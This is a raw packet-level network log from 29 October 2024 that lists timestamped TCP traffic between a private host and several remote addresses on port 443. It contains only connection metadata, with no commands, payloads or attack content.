Oct 29, 2024 17:59:23.540029049 CET	49793	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.540246010 CET	49793	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.540260077 CET	443	49793	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.540271997 CET	49793	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.540277004 CET	443	49793	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.543750048 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.543765068 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.543828964 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.543992996 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.544003963 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.939382076 CET	443	49795	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.939990044 CET	49795	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.940033913 CET	443	49795	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:23.941602945 CET	49795	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:23.941612005 CET	443	49795	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.096513033 CET	443	49795	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.096595049 CET	443	49795	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.096775055 CET	49795	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.096813917 CET	49795	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.096836090 CET	443	49795	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.096854925 CET	49795	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.096859932 CET	443	49795	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.099189997 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.099220991 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.099293947 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.099522114 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.099539995 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.102833033 CET	443	49796	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.103185892 CET	49796	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.103214979 CET	443	49796	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.103591919 CET	49796	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.103596926 CET	443	49796	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.150959969 CET	443	49797	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.155241013 CET	443	49798	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.160537004 CET	49797	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.160558939 CET	443	49797	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.160976887 CET	49797	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.160981894 CET	443	49797	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.161444902 CET	49798	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.161459923 CET	443	49798	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.161828041 CET	49798	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.161832094 CET	443	49798	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.234028101 CET	443	49796	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.234328985 CET	443	49796	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.234390974 CET	49796	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.234421015 CET	49796	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.234435081 CET	443	49796	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.234461069 CET	49796	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.234466076 CET	443	49796	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.237611055 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.237643003 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.237715960 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.237878084 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.237890005 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.267925024 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.268501043 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.268534899 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.270051956 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.270057917 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.287425995 CET	443	49797	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.287477970 CET	443	49797	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.287590981 CET	49797	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.287694931 CET	49797	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.287715912 CET	443	49797	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.287729979 CET	49797	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.287735939 CET	443	49797	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.288222075 CET	443	49798	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.289244890 CET	443	49798	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.289338112 CET	49798	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.289371014 CET	49798	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.289386034 CET	443	49798	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.289428949 CET	49798	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.289434910 CET	443	49798	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.291328907 CET	49806	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.291368961 CET	443	49806	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.291460991 CET	49806	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.291609049 CET	49806	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.291621923 CET	443	49806	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.291882992 CET	49807	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.291932106 CET	443	49807	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.292000055 CET	49807	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.292144060 CET	49807	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.292160034 CET	443	49807	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.408277035 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.408349991 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.408468008 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.408571959 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.408596039 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.408612013 CET	49799	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.408623934 CET	443	49799	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.411526918 CET	49808	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.411555052 CET	443	49808	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.411653996 CET	49808	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.411768913 CET	49808	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.411781073 CET	443	49808	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.841233969 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.841950893 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.841964960 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.842398882 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.842418909 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.969043016 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.969721079 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.969748974 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.970143080 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.970151901 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.973658085 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.974334955 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.974426031 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.974467993 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.974467993 CET	49801	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.974483967 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.974488974 CET	443	49801	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.977097988 CET	49809	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.977129936 CET	443	49809	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:24.977227926 CET	49809	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.977463961 CET	49809	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:24.977474928 CET	443	49809	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.034663916 CET	443	49806	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.035176992 CET	49806	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.035202026 CET	443	49806	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.035599947 CET	49806	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.035604954 CET	443	49806	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.062675953 CET	443	49807	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.065819025 CET	49807	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.065844059 CET	443	49807	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.066241980 CET	49807	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.066248894 CET	443	49807	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.079520941 CET	49810	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:25.079572916 CET	443	49810	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:25.079636097 CET	49810	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:25.080202103 CET	49810	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:25.080218077 CET	443	49810	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:25.104556084 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.104577065 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.104619026 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.104651928 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.104690075 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.104877949 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.104877949 CET	49805	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.104897022 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.104909897 CET	443	49805	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.107264996 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.107291937 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.107541084 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.107650995 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.107660055 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.157494068 CET	443	49808	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.162237883 CET	49808	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.162255049 CET	443	49808	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.162724972 CET	49808	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.162730932 CET	443	49808	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.166327953 CET	443	49806	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.166377068 CET	443	49806	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.166470051 CET	49806	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.166656971 CET	49806	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.166656971 CET	49806	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.166673899 CET	443	49806	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.166685104 CET	443	49806	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.169193983 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.169239998 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.173552036 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.173654079 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.173671961 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.207578897 CET	443	49807	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.207637072 CET	443	49807	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.207731009 CET	49807	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.207863092 CET	49807	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.207875013 CET	443	49807	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.207895041 CET	49807	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.207901001 CET	443	49807	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.210042000 CET	49813	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.210066080 CET	443	49813	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.210128069 CET	49813	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.210274935 CET	49813	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.210287094 CET	443	49813	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.292439938 CET	443	49808	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.292454958 CET	443	49808	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.292563915 CET	49808	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.292586088 CET	443	49808	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.292717934 CET	443	49808	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.292838097 CET	49808	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.295146942 CET	49808	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.295146942 CET	49808	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.295159101 CET	443	49808	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.295167923 CET	443	49808	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.303273916 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.303303003 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.303716898 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.304682970 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.304701090 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.322905064 CET	49815	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:25.322940111 CET	443	49815	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:25.323297977 CET	49815	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:25.324925900 CET	49815	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:25.324939966 CET	443	49815	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:25.726665020 CET	443	49809	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.727147102 CET	49809	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.727158070 CET	443	49809	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.727967024 CET	49809	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.727972031 CET	443	49809	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.840898037 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.841408014 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.841429949 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.841944933 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.841950893 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.862706900 CET	443	49809	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.862742901 CET	443	49809	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.862793922 CET	49809	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.862802982 CET	443	49809	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.862860918 CET	49809	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.863085985 CET	49809	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.863096952 CET	443	49809	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.863114119 CET	49809	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.863260031 CET	443	49809	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.863289118 CET	443	49809	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.863338947 CET	49809	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.866053104 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.866105080 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:25.866168022 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.866331100 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:25.866347075 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.171610117 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.171633005 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.171675920 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.171724081 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.171792984 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.171948910 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.171974897 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.171987057 CET	49811	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.171993017 CET	443	49811	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.175050974 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.175093889 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.175139904 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.175195932 CET	443	49813	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.175200939 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.175331116 CET	49819	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.175344944 CET	443	49819	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.175571918 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.175581932 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.175642967 CET	49813	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.175662041 CET	443	49813	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.176029921 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.176037073 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.176045895 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.176104069 CET	49813	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.176109076 CET	443	49813	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.176322937 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.176340103 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.176649094 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.176655054 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.180747032 CET	443	49815	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:26.180880070 CET	49815	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:26.184216022 CET	49815	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:26.184231997 CET	443	49815	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:26.184463978 CET	443	49815	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:26.219322920 CET	49815	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:26.263331890 CET	443	49815	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:26.306536913 CET	443	49813	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.306602001 CET	443	49813	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.306674004 CET	49813	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.306948900 CET	49813	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.306958914 CET	443	49813	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.306982040 CET	49813	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.306986094 CET	443	49813	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.307857037 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.307914972 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.307960987 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.308254957 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.308293104 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.308310986 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.308312893 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.308325052 CET	49812	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.308335066 CET	443	49812	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.308357954 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.308465958 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.308474064 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.308485031 CET	49814	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.308490038 CET	443	49814	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.311420918 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.311445951 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.311508894 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.311552048 CET	49822	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.311577082 CET	443	49822	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.311629057 CET	49822	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.311745882 CET	49822	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.311758041 CET	443	49822	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.312530041 CET	49821	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.312541008 CET	443	49821	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.312937975 CET	49823	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.312946081 CET	443	49823	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.313005924 CET	49823	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.313124895 CET	49823	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.313128948 CET	443	49823	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.429738045 CET	443	49810	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:26.429828882 CET	49810	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:26.441159010 CET	49810	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:26.441184044 CET	443	49810	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:26.441400051 CET	443	49810	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:26.444009066 CET	49810	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:26.444067001 CET	49810	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:26.444072962 CET	443	49810	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:26.444202900 CET	49810	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:26.462133884 CET	443	49815	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:26.462193012 CET	443	49815	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:26.462351084 CET	49815	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:26.462385893 CET	443	49815	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:26.462398052 CET	49815	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:26.462398052 CET	49815	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:26.462414026 CET	443	49815	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:26.462420940 CET	443	49815	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:26.491331100 CET	443	49810	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:26.498523951 CET	49824	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:26.498554945 CET	443	49824	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:26.498697996 CET	49824	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:26.498990059 CET	49824	443	192.168.2.6	184.28.90.27
Oct 29, 2024 17:59:26.499001026 CET	443	49824	184.28.90.27	192.168.2.6
Oct 29, 2024 17:59:26.531676054 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:26.531713963 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:26.531775951 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:26.531930923 CET	49827	443	192.168.2.6	216.58.206.78
Oct 29, 2024 17:59:26.531943083 CET	443	49827	216.58.206.78	192.168.2.6
Oct 29, 2024 17:59:26.596729040 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.597285986 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.597316027 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.597778082 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.597783089 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.694751978 CET	443	49810	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:26.695333958 CET	49810	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:26.695358038 CET	443	49810	40.113.110.67	192.168.2.6
Oct 29, 2024 17:59:26.695379019 CET	49810	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:26.695410013 CET	49810	443	192.168.2.6	40.113.110.67
Oct 29, 2024 17:59:26.728423119 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.728493929 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.728543043 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.728877068 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.728893042 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.728904009 CET	49818	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.728909969 CET	443	49818	13.107.246.45	192.168.2.6
Oct 29, 2024 17:59:26.731321096 CET	49828	443	192.168.2.6	13.107.246.45
Oct 29, 2024 17:59:26.731345892 CET	443	49828	13.107.246.45	192.168.2.6
